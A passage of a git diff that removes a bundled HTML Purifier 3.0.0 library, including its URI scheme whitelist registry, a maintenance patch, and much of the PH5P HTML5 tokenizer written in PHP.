return true; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URISchemeRegistry.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URISchemeRegistry.php deleted file mode 100644 index 4b983b3..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URISchemeRegistry.php +++ /dev/null @@ -1,99 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIScheme/http.php'; -require_once 'HTMLPurifier/URIScheme/https.php'; -require_once 'HTMLPurifier/URIScheme/mailto.php'; -require_once 'HTMLPurifier/URIScheme/ftp.php'; -require_once 'HTMLPurifier/URIScheme/nntp.php'; -require_once 'HTMLPurifier/URIScheme/news.php'; - -HTMLPurifier_ConfigSchema::define( - 'URI', 'AllowedSchemes', array( - 'http' => true, // "Hypertext Transfer Protocol", nuf' said - 'https' => true, // HTTP over SSL (Secure Socket Layer) - // quite useful, but not necessary - 'mailto' => true,// Email - 'ftp' => true, // "File Transfer Protocol" - // for Usenet, these two are similar, but distinct - 'nntp' => true, // individual Netnews articles - 'news' => true // newsgroup or individual Netnews articles - ), 'lookup', - 'Whitelist that defines the schemes that a URI is allowed to have. This '. - 'prevents XSS attacks from using pseudo-schemes like javascript or mocha.' -); - -HTMLPurifier_ConfigSchema::define( - 'URI', 'OverrideAllowedSchemes', true, 'bool', - 'If this is set to true (which it is by default), you can override '. - '%URI.AllowedSchemes by simply registering a HTMLPurifier_URIScheme '. - 'to the registry. If false, you will also have to update that directive '. - 'in order to add more schemes.' -); - -/** - * Registry for retrieving specific URI scheme validator objects. - */ -class HTMLPurifier_URISchemeRegistry -{ - - /** - * Retrieve sole instance of the registry. - * @param $prototype Optional prototype to overload sole instance with, - * or bool true to reset to default registry. - * @note Pass a registry object $prototype with a compatible interface and - * the function will copy it and return it all further times. - */ - public static function instance($prototype = null) { - static $instance = null; - if ($prototype !== null) { - $instance = $prototype; - } elseif ($instance === null || $prototype == true) { - $instance = new HTMLPurifier_URISchemeRegistry(); - } - return $instance; - } - - /** - * Cache of retrieved schemes. - */ - protected $schemes = array(); - - /** - * Retrieves a scheme validator object - * @param $scheme String scheme name like http or mailto - * @param $config HTMLPurifier_Config object - * @param $config HTMLPurifier_Context object - */ - public function getScheme($scheme, $config, $context) { - if (!$config) $config = HTMLPurifier_Config::createDefault(); - $null = null; // for the sake of passing by reference - - // important, otherwise attacker could include arbitrary file - $allowed_schemes = $config->get('URI', 'AllowedSchemes'); - if (!$config->get('URI', 'OverrideAllowedSchemes') && - !isset($allowed_schemes[$scheme]) - ) { - return $null; - } - - if (isset($this->schemes[$scheme])) return $this->schemes[$scheme]; - if (!isset($allowed_schemes[$scheme])) return $null; - - $class = 'HTMLPurifier_URIScheme_' . $scheme; - if (!class_exists($class)) return $null; - $this->schemes[$scheme] = new $class(); - return $this->schemes[$scheme]; - } - - /** - * Registers a custom scheme to the cache, bypassing reflection. - * @param $scheme Scheme name - * @param $scheme_obj HTMLPurifier_URIScheme object - */ - public function register($scheme, $scheme_obj) { - $this->schemes[$scheme] = $scheme_obj; - } - -} - - diff --git a/lib/htmlpurifier-3.0.0/maintenance/.htaccess b/lib/htmlpurifier-3.0.0/maintenance/.htaccess deleted file mode 100644 index 3a42882..0000000 --- a/lib/htmlpurifier-3.0.0/maintenance/.htaccess +++ /dev/null @@ -1 +0,0 @@ -Deny from all diff --git a/lib/htmlpurifier-3.0.0/maintenance/PH5P.patch b/lib/htmlpurifier-3.0.0/maintenance/PH5P.patch deleted file mode 100644 index 9365cff..0000000 --- a/lib/htmlpurifier-3.0.0/maintenance/PH5P.patch +++ /dev/null @@ -1,64 +0,0 @@ ---- C:\Users\Edward\Webs\htmlpurifier\maintenance\PH5P.php 2007-11-04 23:41:49.074543700 -0500 -+++ C:\Users\Edward\Webs\htmlpurifier\maintenance/PH5P.new.php 2007-11-05 00:23:52.839543700 -0500 -@@ -211,7 +211,10 @@ - // If nothing is returned, emit a U+0026 AMPERSAND character token. - // Otherwise, emit the character token that was returned. - $char = (!$entity) ? '&' : $entity; -- $this->emitToken($char); -+ $this->emitToken(array( -+ 'type' => self::CHARACTR, -+ 'data' => $char -+ )); - - // Finally, switch to the data state. - $this->state = 'data'; -@@ -708,7 +711,7 @@ - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ -- $this->entityInAttributeValueState('non'); -+ $this->entityInAttributeValueState(); - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) -@@ -738,7 +741,8 @@ - ? '&' - : $entity; - -- $this->emitToken($char); -+ $last = count($this->token['attr']) - 1; -+ $this->token['attr'][$last]['value'] .= $char; - } - - private function bogusCommentState() { -@@ -1066,6 +1070,11 @@ - $this->char++; - - if(in_array($id, $this->entities)) { -+ if ($e_name[$c-1] !== ';') { -+ if ($c < $len && $e_name[$c] == ';') { -+ $this->char++; // consume extra semicolon -+ } -+ } - $entity = $id; - break; - } -@@ -3659,7 +3668,7 @@ - } - } - -- private function generateImpliedEndTags(array $exclude = array()) { -+ private function generateImpliedEndTags($exclude = array()) { - /* When the steps below require the UA to generate implied end tags, - then, if the current node is a dd element, a dt element, an li element, - a p element, a td element, a th element, or a tr element, the UA must -@@ -3673,7 +3682,8 @@ - } - } - -- private function getElementCategory($name) { -+ private function getElementCategory($node) { -+ $name = $node->tagName; - if(in_array($name, $this->special)) - return self::SPECIAL; - diff --git a/lib/htmlpurifier-3.0.0/maintenance/PH5P.php b/lib/htmlpurifier-3.0.0/maintenance/PH5P.php deleted file mode 100644 index 96d0d13..0000000 --- a/lib/htmlpurifier-3.0.0/maintenance/PH5P.php +++ /dev/null @@ -1,3824 +0,0 @@ -<?php -class HTML5 { - private $data; - private $char; - private $EOF; - private $state; - private $tree; - private $token; - private $content_model; - private $escape = false; - private $entities = array('AElig;','AElig','AMP;','AMP','Aacute;','Aacute', - 'Acirc;','Acirc','Agrave;','Agrave','Alpha;','Aring;','Aring','Atilde;', - 'Atilde','Auml;','Auml','Beta;','COPY;','COPY','Ccedil;','Ccedil','Chi;', - 'Dagger;','Delta;','ETH;','ETH','Eacute;','Eacute','Ecirc;','Ecirc','Egrave;', - 'Egrave','Epsilon;','Eta;','Euml;','Euml','GT;','GT','Gamma;','Iacute;', - 'Iacute','Icirc;','Icirc','Igrave;','Igrave','Iota;','Iuml;','Iuml','Kappa;', - 'LT;','LT','Lambda;','Mu;','Ntilde;','Ntilde','Nu;','OElig;','Oacute;', - 'Oacute','Ocirc;','Ocirc','Ograve;','Ograve','Omega;','Omicron;','Oslash;', - 'Oslash','Otilde;','Otilde','Ouml;','Ouml','Phi;','Pi;','Prime;','Psi;', - 'QUOT;','QUOT','REG;','REG','Rho;','Scaron;','Sigma;','THORN;','THORN', - 'TRADE;','Tau;','Theta;','Uacute;','Uacute','Ucirc;','Ucirc','Ugrave;', - 'Ugrave','Upsilon;','Uuml;','Uuml','Xi;','Yacute;','Yacute','Yuml;','Zeta;', - 'aacute;','aacute','acirc;','acirc','acute;','acute','aelig;','aelig', - 'agrave;','agrave','alefsym;','alpha;','amp;','amp','and;','ang;','apos;', - 'aring;','aring','asymp;','atilde;','atilde','auml;','auml','bdquo;','beta;', - 'brvbar;','brvbar','bull;','cap;','ccedil;','ccedil','cedil;','cedil', - 'cent;','cent','chi;','circ;','clubs;','cong;','copy;','copy','crarr;', - 'cup;','curren;','curren','dArr;','dagger;','darr;','deg;','deg','delta;', - 'diams;','divide;','divide','eacute;','eacute','ecirc;','ecirc','egrave;', - 'egrave','empty;','emsp;','ensp;','epsilon;','equiv;','eta;','eth;','eth', - 'euml;','euml','euro;','exist;','fnof;','forall;','frac12;','frac12', - 'frac14;','frac14','frac34;','frac34','frasl;','gamma;','ge;','gt;','gt', - 'hArr;','harr;','hearts;','hellip;','iacute;','iacute','icirc;','icirc', - 'iexcl;','iexcl','igrave;','igrave','image;','infin;','int;','iota;', - 'iquest;','iquest','isin;','iuml;','iuml','kappa;','lArr;','lambda;','lang;', - 'laquo;','laquo','larr;','lceil;','ldquo;','le;','lfloor;','lowast;','loz;', - 'lrm;','lsaquo;','lsquo;','lt;','lt','macr;','macr','mdash;','micro;','micro', - 'middot;','middot','minus;','mu;','nabla;','nbsp;','nbsp','ndash;','ne;', - 'ni;','not;','not','notin;','nsub;','ntilde;','ntilde','nu;','oacute;', - 'oacute','ocirc;','ocirc','oelig;','ograve;','ograve','oline;','omega;', - 'omicron;','oplus;','or;','ordf;','ordf','ordm;','ordm','oslash;','oslash', - 'otilde;','otilde','otimes;','ouml;','ouml','para;','para','part;','permil;', - 'perp;','phi;','pi;','piv;','plusmn;','plusmn','pound;','pound','prime;', - 'prod;','prop;','psi;','quot;','quot','rArr;','radic;','rang;','raquo;', - 'raquo','rarr;','rceil;','rdquo;','real;','reg;','reg','rfloor;','rho;', - 'rlm;','rsaquo;','rsquo;','sbquo;','scaron;','sdot;','sect;','sect','shy;', - 'shy','sigma;','sigmaf;','sim;','spades;','sub;','sube;','sum;','sup1;', - 'sup1','sup2;','sup2','sup3;','sup3','sup;','supe;','szlig;','szlig','tau;', - 'there4;','theta;','thetasym;','thinsp;','thorn;','thorn','tilde;','times;', - 'times','trade;','uArr;','uacute;','uacute','uarr;','ucirc;','ucirc', - 'ugrave;','ugrave','uml;','uml','upsih;','upsilon;','uuml;','uuml','weierp;', - 'xi;','yacute;','yacute','yen;','yen','yuml;','yuml','zeta;','zwj;','zwnj;'); - - const PCDATA = 0; - const RCDATA = 1; - const CDATA = 2; - const PLAINTEXT = 3; - - const DOCTYPE = 0; - const STARTTAG = 1; - const ENDTAG = 2; - const COMMENT = 3; - const CHARACTR = 4; - const EOF = 5; - - public function __construct($data) { - $data = str_replace("\r\n", "\n", $data); - $date = str_replace("\r", null, $data); - - $this->data = $data; - $this->char = -1; - $this->EOF = strlen($data); - $this->tree = new HTML5TreeConstructer; - $this->content_model = self::PCDATA; - - $this->state = 'data'; - - while($this->state !== null) { - $this->{$this->state.'State'}(); - } - } - - public function save() { - return $this->tree->save(); - } - - private function char() { - return ($this->char < $this->EOF) - ? $this->data[$this->char] - : false; - } - - private function character($s, $l = 0) { - if($s + $l < $this->EOF) { - if($l === 0) { - return $this->data[$s]; - } else { - return substr($this->data, $s, $l); - } - } - } - - private function characters($char_class, $start) { - return preg_replace('#^(['.$char_class.']+).*#s', '\\1', substr($this->data, $start)); - } - - private function dataState() { - // Consume the next input character - $this->char++; - $char = $this->char(); - - if($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) { - /* U+0026 AMPERSAND (&) - When the content model flag is set to one of the PCDATA or RCDATA - states: switch to the entity data state. Otherwise: treat it as per - the "anything else" entry below. */ - $this->state = 'entityData'; - - } elseif($char === '-') { - /* If the content model flag is set to either the RCDATA state or - the CDATA state, and the escape flag is false, and there are at - least three characters before this one in the input stream, and the - last four characters in the input stream, including this one, are - U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS, - and U+002D HYPHEN-MINUS ("<!--"), then set the escape flag to true. */ - if(($this->content_model === self::RCDATA || $this->content_model === - self::CDATA) && $this->escape === false && - $this->char >= 3 && $this->character($this->char - 4, 4) === '<!--') { - $this->escape = true; - } - - /* In any case, emit the input character as a character token. Stay - in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - /* U+003C LESS-THAN SIGN (<) */ - } elseif($char === '<' && ($this->content_model === self::PCDATA || - (($this->content_model === self::RCDATA || - $this->content_model === self::CDATA) && $this->escape === false))) { - /* When the content model flag is set to the PCDATA state: switch - to the tag open state. - - When the content model flag is set to either the RCDATA state or - the CDATA state and the escape flag is false: switch to the tag - open state. - - Otherwise: treat it as per the "anything else" entry below. */ - $this->state = 'tagOpen'; - - /* U+003E GREATER-THAN SIGN (>) */ - } elseif($char === '>') { - /* If the content model flag is set to either the RCDATA state or - the CDATA state, and the escape flag is true, and the last three - characters in the input stream including this one are U+002D - HYPHEN-MINUS, U+002D HYPHEN-MINUS, U+003E GREATER-THAN SIGN ("-->"), - set the escape flag to false. */ - if(($this->content_model === self::RCDATA || - $this->content_model === self::CDATA) && $this->escape === true && - $this->character($this->char, 3) === '-->') { - $this->escape = false; - } - - /* In any case, emit the input character as a character token. - Stay in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - } elseif($this->char === $this->EOF) { - /* EOF - Emit an end-of-file token. */ - $this->EOF(); - - } elseif($this->content_model === self::PLAINTEXT) { - /* When the content model flag is set to the PLAINTEXT state - THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of - the text and emit it as a character token. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => substr($this->data, $this->char) - )); - - $this->EOF(); - - } else { - /* Anything else - THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that - otherwise would also be treated as a character token and emit it - as a single character token. Stay in the data state. */ - $len = strcspn($this->data, '<&', $this->char); - $char = substr($this->data, $this->char, $len); - $this->char += $len - 1; - - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - $this->state = 'data'; - } - } - - private function entityDataState() { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, emit a U+0026 AMPERSAND character token. - // Otherwise, emit the character token that was returned. - $char = (!$entity) ? '&' : $entity; - $this->emitToken($char); - - // Finally, switch to the data state. - $this->state = 'data'; - } - - private function tagOpenState() { - switch($this->content_model) { - case self::RCDATA: - case self::CDATA: - /* If the next input character is a U+002F SOLIDUS (/) character, - consume it and switch to the close tag open state. If the next - input character is not a U+002F SOLIDUS (/) character, emit a - U+003C LESS-THAN SIGN character token and switch to the data - state to process the next input character. */ - if($this->character($this->char + 1) === '/') { - $this->char++; - $this->state = 'closeTagOpen'; - - } else { - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<' - )); - - $this->state = 'data'; - } - break; - - case self::PCDATA: - // If the content model flag is set to the PCDATA state - // Consume the next input character: - $this->char++; - $char = $this->char(); - - if($char === '!') { - /* U+0021 EXCLAMATION MARK (!) - Switch to the markup declaration open state. */ - $this->state = 'markupDeclarationOpen'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Switch to the close tag open state. */ - $this->state = 'closeTagOpen'; - - } elseif(preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new start tag token, set its tag name to the lowercase - version of the input character (add 0x0020 to the character's code - point), then switch to the tag name state. (Don't emit the token - yet; further details will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::STARTTAG, - 'attr' => array() - ); - - $this->state = 'tagName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Emit a U+003C LESS-THAN SIGN character token and a - U+003E GREATER-THAN SIGN character token. Switch to the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<>' - )); - - $this->state = 'data'; - - } elseif($char === '?') { - /* U+003F QUESTION MARK (?) - Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - - } else { - /* Anything else - Parse error. Emit a U+003C LESS-THAN SIGN character token and - reconsume the current input character in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<' - )); - - $this->char--; - $this->state = 'data'; - } - break; - } - } - - private function closeTagOpenState() { - $next_node = strtolower($this->characters('A-Za-z', $this->char + 1)); - $the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName; - - if(($this->content_model === self::RCDATA || $this->content_model === self::CDATA) && - (!$the_same || ($the_same && (!preg_match('/[\t\n\x0b\x0c >\/]/', - $this->character($this->char + 1 + strlen($next_node))) || $this->EOF === $this->char)))) { - /* If the content model flag is set to the RCDATA or CDATA states then - examine the next few characters. If they do not match the tag name of - the last start tag token emitted (case insensitively), or if they do but - they are not immediately followed by one of the following characters: - * U+0009 CHARACTER TABULATION - * U+000A LINE FEED (LF) - * U+000B LINE TABULATION - * U+000C FORM FEED (FF) - * U+0020 SPACE - * U+003E GREATER-THAN SIGN (>) - * U+002F SOLIDUS (/) - * EOF - ...then there is a parse error. Emit a U+003C LESS-THAN SIGN character - token, a U+002F SOLIDUS character token, and switch to the data state - to process the next input character. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '</' - )); - - $this->state = 'data'; - - } else { - /* Otherwise, if the content model flag is set to the PCDATA state, - or if the next few characters do match that tag name, consume the - next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new end tag token, set its tag name to the lowercase version - of the input character (add 0x0020 to the character's code point), then - switch to the tag name state. (Don't emit the token yet; further details - will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::ENDTAG - ); - - $this->state = 'tagName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Switch to the data state. */ - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F - SOLIDUS character token. Reconsume the EOF character in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '</' - )); - - $this->char--; - $this->state = 'data'; - - } else { - /* Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - } - } - } - - private function tagNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } else { - /* Anything else - Append the current input character to the current tag token's tag name. - Stay in the tag name state. */ - $this->token['name'] .= strtolower($char); - $this->state = 'tagName'; - } - } - - private function beforeAttributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Stay in the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function attributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's name. - Stay in the attribute name state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['name'] .= strtolower($char); - - $this->state = 'attributeName'; - } - } - - private function afterAttributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the after attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the - before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function beforeAttributeValueState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the attribute value (double-quoted) state. */ - $this->state = 'attributeValueDoubleQuoted'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the attribute value (unquoted) state and reconsume - this input character. */ - $this->char--; - $this->state = 'attributeValueUnquoted'; - - } elseif($char === '\'') { - /* U+0027 APOSTROPHE (') - Switch to the attribute value (single-quoted) state. */ - $this->state = 'attributeValueSingleQuoted'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Switch to the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function attributeValueDoubleQuotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('double'); - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (double-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueDoubleQuoted'; - } - } - - private function attributeValueSingleQuotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if($char === '\'') { - /* U+0022 QUOTATION MARK (') - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('single'); - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (single-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueSingleQuoted'; - } - } - - private function attributeValueUnquotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('non'); - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function entityInAttributeValueState() { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, append a U+0026 AMPERSAND character to the - // current attribute's value. Otherwise, emit the character token that - // was returned. - $char = (!$entity) - ? '&' - : $entity; - - $this->emitToken($char); - } - - private function bogusCommentState() { - /* Consume every character up to the first U+003E GREATER-THAN SIGN - character (>) or the end of the file (EOF), whichever comes first. Emit - a comment token whose data is the concatenation of all the characters - starting from and including the character that caused the state machine - to switch into the bogus comment state, up to and including the last - consumed character before the U+003E character, if any, or up to the - end of the file otherwise. (If the comment was started by the end of - the file (EOF), the token is empty.) */ - $data = $this->characters('^>', $this->char); - $this->emitToken(array( - 'data' => $data, - 'type' => self::COMMENT - )); - - $this->char += strlen($data); - - /* Switch to the data state. */ - $this->state = 'data'; - - /* If the end of the file was reached, reconsume the EOF character. */ - if($this->char === $this->EOF) { - $this->char = $this->EOF - 1; - } - } - - private function markupDeclarationOpenState() { - /* If the next two characters are both U+002D HYPHEN-MINUS (-) - characters, consume those two characters, create a comment token whose - data is the empty string, and switch to the comment state. */ - if($this->character($this->char + 1, 2) === '--') { - $this->char += 2; - $this->state = 'comment'; - $this->token = array( - 'data' => null, - 'type' => self::COMMENT - ); - - /* Otherwise if the next seven chacacters are a case-insensitive match - for the word "DOCTYPE", then consume those characters and switch to the - DOCTYPE state. */ - } elseif(strtolower($this->character($this->char + 1, 7)) === 'doctype') { - $this->char += 7; - $this->state = 'doctype'; - - /* Otherwise, is is a parse error. Switch to the bogus comment state. - The next character that is consumed, if any, is the first character - that will be in the comment. */ - } else { - $this->char++; - $this->state = 'bogusComment'; - } - } - - private function commentState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if($char === '-') { - /* Switch to the comment dash state */ - $this->state = 'commentDash'; - - /* EOF */ - } elseif($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append the input character to the comment token's data. Stay in - the comment state. */ - $this->token['data'] .= $char; - } - } - - private function commentDashState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if($char === '-') { - /* Switch to the comment end state */ - $this->state = 'commentEnd'; - - /* EOF */ - } elseif($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append a U+002D HYPHEN-MINUS (-) character and the input - character to the comment token's data. Switch to the comment state. */ - $this->token['data'] .= '-'.$char; - $this->state = 'comment'; - } - } - - private function commentEndState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '-') { - $this->token['data'] .= '-'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['data'] .= '--'.$char; - $this->state = 'comment'; - } - } - - private function doctypeState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'beforeDoctypeName'; - - } else { - $this->char--; - $this->state = 'beforeDoctypeName'; - } - } - - private function beforeDoctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the before DOCTYPE name state. - - } elseif(preg_match('/^[a-z]$/', $char)) { - $this->token = array( - 'name' => strtoupper($char), - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - - } elseif($char === '>') { - $this->emitToken(array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - )); - - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken(array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - )); - - $this->char--; - $this->state = 'data'; - - } else { - $this->token = array( - 'name' => $char, - 'type' => self::DOCTYPE, - 'error' => true - ); - - 